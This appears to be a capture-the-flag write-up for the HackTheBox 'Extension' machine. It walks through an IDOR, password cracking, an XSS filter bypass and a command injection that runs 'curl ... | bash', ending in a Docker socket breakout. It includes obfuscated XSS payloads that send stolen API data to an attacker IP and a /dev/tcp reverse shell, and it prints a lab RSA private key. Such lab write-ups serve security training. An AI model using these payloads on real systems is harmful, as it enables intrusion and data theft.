HTB - Writeups

šŸ§ Extension

Tue Jan 31, 2023

This is my writeup for the Extension machine on the Hackthebox plateform.

Letā€™s start with anĀ nmap scanĀ to enumerate the different open ports. Only 2 ports are open :

  • Port 22 (SSH)
  • Port 80 (HTTP)
> nmap -sC -sV 10.10.11.171

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 82:21:e2:a5:82:4d:df:3f:99:db:3e:d9:b3:26:52:86 (RSA)
| 256 91:3a:b2:92:2b:63:7d:91:f1:58:2b:1b:54:f9:70:3c (ECDSA)
|_ 256 65:20:39:2b:a7:3b:33:e5:ed:49:a9:ac:ea:01:bd:37 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: snippet.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Website

We can see in this nmap output that the http-title is snippet.htb. We can add it to our /etc/hosts file.

> curl -v 10.10.11.171

GET / HTTP/1.1
Host: 10.10.11.171
User-Agent: curl/7.74.0
Accept: */*

[...TRUNCATED DATA...]

<title inertia>snippet.htb</title>

[...TRUNCATED DATA...]

In the main webpage of this application, we can register and login.

Domain

The register fonctionnality seems to be disable because when we try to create a new account, the server responds “Registration not allowed at this moment !”.

Register

We can also fuzz the vhosts to see if there are other web pages to explore ! We found 2 more vhosts that we can add to our /etc/hosts file :

  • dev.snippet.htb
  • mail.snippet.htb
> ffuf -u http://10.10.11.171/ -H "Host: FUZZ.snippet.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fw 1022

:: Method : GET
:: URL : http://10.10.11.171/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.snippet.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response words: 1022
________________________________________________

dev [Status: 200, Size: 12729, Words: 1029, Lines: 250]
mail [Status: 200, Size: 5311, Words: 364, Lines: 97]

The Wappalyzer tool discover the technologies used to create this website. VueJS is the framework used here. Also, nuclei finds a web.config file, but nothing to interesting with it.

> nuclei -u http://10.10.11.171/

[2023-01-30 21:22:51] [web-config] [http] [info] http://10.10.11.171/web.config

Wappalyzer

The interesting point is that if we look at the sources of the application, we can find routes. With firefox, open the developper tools and click on the debugger tab. We can also see the sources when we open the source code of the page.

Sources

The source code allows us to determine a list of routes used by the application.

_ignition/health-check
_ignition/execute-solution
_ignition/share-report
_ignition/scripts/{script}
_ignition/styles/{style}
dashboard
users
snippets
snippets/{id}
snippets/update/{id}
snippets/delete/{id}
new
management/validate
management/dump
register
login
forgot-password
reset-password/{token}
reset-password
verify-email
verify-email/{id}/{hash}
email/verification-notification
confirm-password
logout

management/dump endpoint seems to be interesting because there is the word dump. This route only allows the POST method.

{
	"uri": "management/dump",
	"methods": [
		"POST"
	]
}

When we make this request on Burp Suite, the server responds that some arguments are missing.

repeater-missing-args

The first solution is to use the Intruder tool. We can FUZZ the key and try to have a different error message from the server.

Intruder

We can also use a Burp Suite extension called Param Miner. This tool will try a list of parameters and check for different server responses. After a few seconds, it finds the download parameter !

Param Miner

We can do the same thing to find the value associate with the download parameter, and we got users. Now, if we query the server with download key and users value, it responds with a large list of users and password.

Dump Users

Hashcat crack 4 accounts with the following password :

  • password123
> cat users.json | jq -r '.[] | "\(.email):\(.password)"' > hash.txt
> hashcat -m 1400 --username hash.txt /opt/rockyou.txt

letha@snippet.htb:password123
fredrick@snippet.htb:password123
gia@snippet.htb:password123
juliana@snippet.htb:password123

We could also enumerate the existing users on the machine with the password reset functionnality which returns a different message if the user exists or not. After this enumeration, the password could have been found to access the account.

Reset Password

Let’s log in with the letha@snippet.htb account :

  • letha@snippet.htb:password123

User Dashboard


Snippets Time

Once logged in, we can browse the snippets.

snippet-show

There is an IDOR vulnerability allows us to see snippets that don’t belong to us. To exploit this vulnerability, we can modify the identifier in the url from 1 to 2 and see another snippet. The Gitea API snippet sends us a message that we are not authorized to see its content.

idor-snippet

But, if we create a new snippet and modify it, we have another IDOR vulnerability if we change the identifier from the update endpoint (from 4 to 2).

idor-edit-snippet

Now, we are able to see the hidden contents of the snippet. There is a bash requets to the dev.snippet.htb vhost with a base64 encoded basic token.

idor-credentials

We can decode this base64 token to get clear credentials :

> echo -n 'amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB' | base64 -d

jean:EHmfar1Y7ppA9O5TAIXnYnJpA

Gitea (dev.snippet.htb)

Let’s move on the dev.snippet.htb vhost. There is a Gitea service running on this vhost.

dev

We can register and see all registered users by following this URL : http://dev.snippet.htb/explore/users

  • administrator@snippet.htb
  • charlie@snippet.htb
  • jean@snippet.htb

gitea-users

With the previous credentials, we can loggin as jean@snippet.htb. Jean has a private repository called extension.

repo-extension

By reading the source code, we understand that it is an extension for Firefox which displays the content of the issues on the main Gitea issue page. In order to test this extension, we will download and install it on our browser : about:debugging#/runtime/this-firefox

firefox-addon

firefox-add-extension

We can see that the content of the issue is displayed on the main page.

extension-issues

By reading the code and in particular the inject.js file, we can see a check(str) function which will act as a filter on user input. Indeed, some tags will be filtered to block the Cross Site Scripting (XSS) vulnerability.

function check(str) {
    // remove tags
    str = str.replace(/<.*?>/, "")

    const filter = [";", "\'", "(", ")", "src", "script", "&", "|", "[", "]"]

    for (const i of filter) {
        if (str.includes(i))
            return ""
    }
    
    return str
}

The first filter will replace the string between the characters < and >. The problem is that it’s not recursive and therefore only the first occurrence will be replaced. We can bypass this protection with the following payload:

<hello><img src=x />

There is also a filter on the src attribute. We can bypass this protection by playing with the case sensitive. The attribute is only checked in lowercase. We can adapt our payload to be in uppercase, for example :

<hello><img SRC=x />

Our payload works and we manage to inject code.

poc-xss1

Every 2 minutes a bot seems to run over issues and delete them. We will try to trap the bot with this vulnerability (XSS) to make it perform actions on the Gitea via the API. Some research and some tests made it possible to find a payload which bypasses the filters set up by the extension and which will execute Javascript code.

First of all, we will convert our payload which will retrieve Charlie’s repository list in base64 and send it back to our server.

fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(response => response.text()).then(data => fetch('http://10.10.14.11/'+btoa(data)))

Here is our final payload.

<hello><img SRC=x onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3VzZXJzL2NoYXJsaWUvcmVwb3MnKS50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0+IGZldGNoKCdodHRwOi8vMTAuMTAuMTQuMTEvJytidG9hKGRhdGEpKSk=`\x29"}`>

We can create a new issue and insert the payload in the body of the issue then wait for the bot.

xss-get-repos

After a few minutes, our server receives the content of the response.

xss-terminal

The Cyberchef tool can allow us to quickly decode base64 content. Charlie has a repository called backups. The next step will be to recover its content.

cyberchef-get-repos

In the same way, we will use the API to create our query which will display the files and folders that are in Charlie’s backups repository.

fetch('http://dev.snippet.htb/api/v1/repos/charlie/backups/contents').then(response => response.text()).then(data => fetch('http://10.10.14.11/'+btoa(data)))
<hello><img SRC=x onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3JlcG9zL2NoYXJsaWUvYmFja3Vwcy9jb250ZW50cycpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC4xMS8nK2J0b2EoZGF0YSkpKQ==`\x29"}`>

The repository only contains a backup.tar.gz archive.

cyberchef-get-contents

Finally, we will make a request to retrieve the contents of the archive which will be encoded in base64.

fetch('http://dev.snippet.htb/api/v1/repos/charlie/backups/contents/backup.tar.gz').then(response => response.text()).then(data => fetch('http://10.10.14.11/'+btoa(data)))
<hello><img SRC=x onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3JlcG9zL2NoYXJsaWUvYmFja3Vwcy9jb250ZW50cy9iYWNrdXAudGFyLmd6JykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBmZXRjaCgnaHR0cDovLzEwLjEwLjE0LjExLycrYnRvYShkYXRhKSkp`\x29"}`>

The archive contains the contents of Charlie’s home and in particular an interesting file which is id_rsa which contains his private SSH key.

> gunzip backups.tar.gz                                           [Jan 30, 2023 - > tar -xvf backups.tar

home/charlie/
home/charlie/backups/
home/charlie/backups/backup.tar.gz
home/charlie/.profile
home/charlie/.bash_history
home/charlie/.bash_logout
home/charlie/.ssh/
home/charlie/.ssh/id_rsa
home/charlie/.ssh/id_rsa.pub
home/charlie/.bashrc
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAx3BQ74w6hDrMrj5bxneqSvicR8WjTBF/BEIWdzJpvWi+9onO
ufOUl0P+DE9YEv51HpOLqZ/ZuSUxzMV/Wf2Po4+aglepfGBx6GfuEm2mVH9x3T8p
OZGWvs7qMMsh86ViyLwivMm0s/NdW8I0NnKVmN9DVksJL5VO++Pc4GCkBHqQEU1p
V5FeCUX/ah8cllmGC/W4op0aVM9MTlzD5YB1IOTpZgo8dG1yvVpySHWqBuG/Hg4L
A2/lLn0OBU1nj52v4dpwuJ+7RgicgGgrJfj6roHEDsdQFs5uv0v7roYboKnknLo6
Fiz2/eQtTVb176+AhSdgs3UPqj9A7QgxV0GY6wIDAQABAoIBAQCh1N6n8rbM81WB
EjKwUgvJ+AAAMTw3jn7tup62LB8nReam8N3hf+iT8eUkogGKsBXjMMCEbKRkGu1V
BvE22YyDoRQ0LePme/ASMLs7EuSD7kI70HOoNh4HSKk53Kr5JLuKvTbG0DmkR5b6
zRRHFiWTvZ7LV+nlRZeox5ZEL8cHpejKB5wBdVJ/UvHRs/XvvZv86JFagbbfzrH6
DJz4isE9SEFxcnWtKAnCz03CoP8mI0+5klIP359hkOKx1dYfSlc4zccZqU5y1Uiv
tEtcEnvaPoARSuxA3hoN6wchnOvLbzFO2RN5vtxZ9YmztcelMOHLUrliun96sUgV
33XkTjPpAoGBAPIo0UfIT4XXscKNkSp1VXai9E3noH1E2q6fIccAvmpOA3I2AW7R
eEe1OD3beuArgL+RVF8oJOAD+UkWn8CP2bXnnT11a753WGUnPIr5Q9Mm1rZcrCD2
EF5689eKSq49ecu2ISt3lyb4VMku1GXzQ3zaFELI8eSvTNXQjpLeAWBFAoGBANLW
bQjQz81+dwud4grHGUCe2L9g0k/KmnJ//Q0+6iI9EGNmJLf5yHnYnqvIWWXSpOss
Q3ZTJGWUHJ/vDlrSpauZ6FJM9X4YLJ2DsSPFcxfcps+Y1oGE8o9Q7XHqyE4UrDiM
H36CsRGPNwmwNMNHUb/lkjELYKzSF58cTdA7Rp9vAoGBAOJL+qcWLhppoxioqwv+
cktXpO5YksX93k5pL2uE6mz1UoscpOImpjx8wX4s6PssLDjZWvtBzJP7oq4Gkmul
AlLXiz2vyWxIozaEIDPPFO7x0JzCpah3ynxAcjbuaTPDB1qzbPPt4jbswm7vcFWF
q3+1XFG87zBCEY+OQm5FQQvxAoGAfJZ3Mflqgm0T3cp7U5EZjAUR4e1N+haoM7cM
CvK9mmPpNkOauRiibdYi1TH8Gd5i1BGA///bhycBz0SNf//wJDo7fb66ZrvUSXQT
jibUfypFbHFNeJXeW/Afj+yEVxeCOZwb1D9YcR7nEBOO6kJPvYzkWZT2mMlBaiVo
mf8dGYMCgYEA2Bqocj0mcncnt2m1F6Obp3ptv7zwF/upk70lC6z3uo1xTSfnGPP/
MaX9vAmUF9XNwolFVzU6STMreBPRshW9RK+3tcx8Elxj4y+tMQCLHLvgyyYaGbp8
iPU8FQCtjFpHKqxW0xdDDvfHUeUmiQRTZ1o3kJK6mr3QM89LJC/l7gA=
-----END RSA PRIVATE KEY-----

Privesc

With Charlie’s private SSH key, we can connect to the server.

> ssh -i chalie.key charlie@snippet.htb

charlie@extension:~$ id
uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)

We can log in as jean with the previous password :

  • jean:EHmfar1Y7ppA9O5TAIXnYnJpA

Note : We can find his password in the following file :

charlie@extension:~$ cat /home/jean/.git-credentials
http://jean:EHmfar1Y7ppA9O5TAIXnYnJpA@dev.snippet.htb

We find the application: laravel-app in the jean’s home. This application seems to be the backend where the snippets are.

jean@extension:~/projects$ ls -la
total 16
drwx------  4 jean jean 4096 Jun 20  2022 .
drwxr-xr-x  5 jean jean 4096 Jun 28  2022 ..
drwx------  3 jean jean 4096 Jun 23  2022 extension
drwxr-xr-x 12 jean jean 4096 Jun 20  2022 laravel-app

A search for dangerous functions in PHP finds shell_exec() which is used to check if an email is valid or not. Command injection is possible if the $domain variable can be manipulated by the user :

  • /home/jean/projects/laravel-app/app/Http/Controllers/AdminController.php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Validation\ValidationException;

class AdminController extends Controller
{
/**
* @throws ValidationException
*/
public function validateEmail(Request $request)
{
	$sec = env('APP_SECRET');
	$email = urldecode($request->post('email'));
	$given = $request->post('cs');
	$actual = hash("sha256", $sec . $email);
	$array = explode("@", $email);
	$domain = end($array);
	error_log("email:" . $email);
	error_log("emailtrim:" . str_replace("\0", "", $email));
	error_log("domain:" . $domain);
	error_log("sec:" . $sec);
	error_log("given:" . $given);
	error_log("actual:" . $actual);
	if ($given !== $actual) {
		throw ValidationException::withMessages([
		'email' => "Invalid signature!",
		]);
		} else {
			$res = shell_exec("ping -c1 -W1 $domain > /dev/null && echo 'Mail is valid!' || echo 'Mail is not valid!'");
			return Redirect::back()->with('message', trim($res));
		}
	}
}

First, we will forward the mysql port to access it locally and connect to it.

> ssh -D 7000 -i id_rsa charlie@snippet.htb

# /etc/proxychains.conf

[ProxyList]
# add proxy here ...
socks4  127.0.0.1   7000
> proxychains -q mysql -h 127.0.0.1 -P 3306 -u root -p

Enter password: toor
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 261
Server version: 5.6.51 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> use webapp
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Then, we will retrieve the email of an administrator account on the platform. The only administrator is Charlie.

MySQL [webapp]> select id,email,user_type from users WHERE user_type="Manager";
+----+---------------------+-----------+
| id | email               | user_type |
+----+---------------------+-----------+
|  1 | charlie@snippet.htb | Manager   |
+----+---------------------+-----------+
1 row in set (0.027 sec)

The password hashes are encoded in SHA256, so we will generate a new one to modify Charlie’s password.

  • writeupbyqu35t:d1ee96fcce0bb43786f7bfd537efb955c42b195978634c51e452049e1ed67f8f

cyberchef-edit-admin-password

We’re updating Charlie’s password.

MySQL [webapp]> UPDATE users set password="d1ee96fcce0bb43786f7bfd537efb955c42b195978634c51e452049e1ed67f8f" WHERE id=1;

Query OK, 1 row affected (0.037 sec)
Rows matched: 1 Changed: 1 Warnings: 0

You can login to Charlie’s account at http://snippet.htb/login.

dashboard-as-admin

In the Members tab, we have an additional option which is to validate accounts. When you click on the Validate button, the user’s email is verified. As I explained earlier, it is this feature that is vulnerable to command injection in the mail domain that is checked.

users-as-admin

We update a user’s email address by injecting our command after the character @.

UPDATE users set email="qu35t@10.10.14.11;curl http://10.10.14.11/22.sh|bash" WHERE id=895;
MySQL [webapp]> select id,email,user_type from users WHERE id=895;
+-----+------------------------------------------------------+-----------+
| id  | email                                                | user_type |
+-----+------------------------------------------------------+-----------+
| 895 | qu35t@10.10.14.11;curl http://10.10.14.11/22.sh|bash | Member    |
+-----+------------------------------------------------------+-----------+
1 row in set (0.026 sec)

The payload is injected. You can click on the Validate button to execute the code.

validate-user

shell-triggered


Docker breakout

We are in a docker. To get out of it, you can use different techniques defined in this article : https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/docker-breakout.md Here, we are going to abuse the docker.sock.

application@4dae106254bf:/var/www/html/public$ find / 2>/dev/null -name docker.sock

/app/docker.sock

We see that several images exist. For example, we will use roundcube/roundcubemail.

application@4dae106254bf:/var/www/html/public$ curl -s --unix-socket /app/docker.sock http://localhost/images/json

[...TRUNCATED DATA...]

"RepoTags":["roundcube/roundcubemail:latest"],"SharedSize":-1,"Size":612284073,"VirtualSize":612284073},

[...TRUNCATED DATA...]

The following Github gist is a bash script that will use the socket to mount the host’s filesystem and send us a reverse-shell : https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.11/9001 0<&1'\\\"\"]"

curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"roundcube/roundcubemail\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=root

curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/root/start"

reverse-shell-docker

root@ce2855e28813:~# cat root.txt
0bfd448ff0d561b43f9505b0b108bb03